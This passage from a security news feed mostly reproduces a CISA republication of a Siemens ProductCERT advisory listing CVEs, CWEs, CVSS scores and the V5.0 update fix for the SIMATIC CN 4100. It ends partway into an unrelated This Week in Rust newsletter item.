<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/400.html">CWE-400 Uncontrolled Resource Consumption</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21947</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21947">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.1</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22924</a></h3>
<div class="csaf-accordion-content">
<p>The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22924">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/306.html">CWE-306 Missing Authentication for Critical Function</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22925</a></h3>
<div class="csaf-accordion-content">
<p>The affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22925">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28387</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28387">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28388</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28388">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28389</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28389">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28390</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28390">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31789</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31789">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31790</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31790">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/754.html">CWE-754 Improper Check for Unusual or Exceptional Conditions</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-05-12</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-05-12</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-05-14</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-032379 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 651]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3515481/tools/this-week-in-rust-this-week-in-rust-651/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3515481/tools/this-week-in-rust-this-week-in-rust-651/</guid>
<pubDate>Thu, 14 May 2026 04:07:37 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#foundation">Foundation</a></h5>
<ul>
<li><a href="https://rustfoundation.org/media/rust-foundation-and-package-registry-leaders-unite-to-address-open-source-sustainability-crisis/">Rust Foundation and Package Registry Leaders Unite to Address Open Source Sustainability Crisis</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-71">The Embedded Rustacean Issue #71</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://github.com/GianIac/numax/releases/tag/v0.1.0-alpha.1">Numax - A portable Rust runtime for distributed apps</a></li>
<li><a href="https://github.com/juyterman1000/entroly/discussions/43">Entroly 0.18.0: Rust-powered AI context engine with PRISM reinforcement learning, SimHash dedup, and EGSC caching</a></li>
<li><a href="https://www.theembeddedrustacean.com/uferris">uFerris: A Versatile Learning Board for Rust Embedded</a></li>
<li><a href="https://aimdb.dev/blog/record-ownership">Record Ownership: Which Side Is Right?</a></li>
<li><a href="https://www.iroh.computer/blog/iroh-1-0-0-rc-0">iroh 1.0.0-rc.0 - The first release candidate</a></li>
<li><a href="https://burn.dev/blog/release-0.21.0/">Burn 0.21.0 Release: Up to 8× Lower Framework Overhead, Differentiable Collectives and Improved Kernels</a></li>
<li><a href="https://blog.orhun.dev/introducing-ratty/">Ratty: A terminal emulator with inline 3D graphics</a></li>
<li><a href="https://this-week-in-rust.org/blog/2026/05/06/this-week-in-rust-650/">Announcing the Rust runtime for Appwrite Functions</a></li>
<li><a href="https://blog.weiznich.de/blog/diesel-async-0-9/">Announcing diesel-async 0.9</a></li>
<li><a href="https://github.com/sinelaw/fresh/releases/tag/v0.3.4">Fresh 0.3.4: Ansi-native 'terminal' theme matches the system's theme; UI for Live Grep + custom grep providers; persistent 'dock' split; Verilog/VHDL support; and much more</a></li>
</ul>
